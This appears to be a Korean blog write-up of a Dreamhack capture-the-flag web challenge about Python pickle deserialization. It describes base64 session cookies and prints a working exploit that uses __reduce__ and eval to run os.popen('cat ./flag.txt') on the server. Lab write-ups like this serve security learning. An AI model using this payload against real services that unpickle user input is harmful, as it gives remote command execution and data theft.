[WARGAME] Dreamhack - web-deserialize-python

2022. 7. 7. 22:34정보보안/CTFLOG

반응형

레벨 1의 워밍업 문제이다.

 

개인적으로는 어느정도의 구글링과 코딩능력을 요구한다고 생각한다.

/index.html 이다. 별건 없다.

위에 적힌 create session으로 들어가보자

Name userid password 

를 입력할 수 있는 form이 주어진다.

 

create session에서 name,userid,password를 입력하면 세션이 base64로 발급된다.

check session에서는 그 세션을 기입하면 위와 같이 정보가 serialization 화 된다.

 

import pickle, os, base64

class Vuln(object):
    def __reduce__(self):
        command = "os.popen('cat ./flag.txt').read()"
        return (eval, (command,))
info = {
    "name": Vuln(),
}
pickleData = base64.b64encode(pickle.dumps(info)).decode("utf8")
print(pickleData)

를 이용해서 플래그에 접속하는 base64코드를 얻고 check session에 기입하면 해결된다.

반응형